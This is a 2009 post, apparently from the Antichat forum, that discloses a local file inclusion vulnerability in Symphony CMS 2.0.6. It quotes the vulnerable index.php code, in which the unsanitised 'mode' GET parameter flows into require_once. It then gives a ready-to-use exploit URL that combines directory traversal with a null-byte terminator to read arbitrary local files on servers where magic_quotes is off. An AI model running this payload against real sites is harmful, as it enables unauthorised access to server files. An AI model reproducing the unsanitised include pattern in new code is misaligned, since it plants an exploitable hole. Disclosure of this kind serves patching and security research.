12.12.2009, 14:10
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
Провел на форуме:
3217552
Репутация:
1668
|
|
Symphony CMS 2.0.6 Local File Inclusion
Symphony CMS 2.0.6
Web site : http://symphony-cms.com
Version : 2.0.6
[Local File Inclusion]
Vuln file: index.php [str:9]
PHP код:
function renderer($mode='frontend'){
require_once(CORE . "/class.{$mode}.php");
return ($mode == 'administration' ? Administration::instance() : Frontend::instance());
}
$renderer = (isset($_GET['mode']) ? strtolower($_GET['mode']) : 'frontend');
$output = renderer($renderer)->display(getCurrentPage());
Exploit:
if magic_quotes = OFF
Код:
http://[host]/[path]/index.php?mode=/../../../../../../[local_file]%00
|
|
|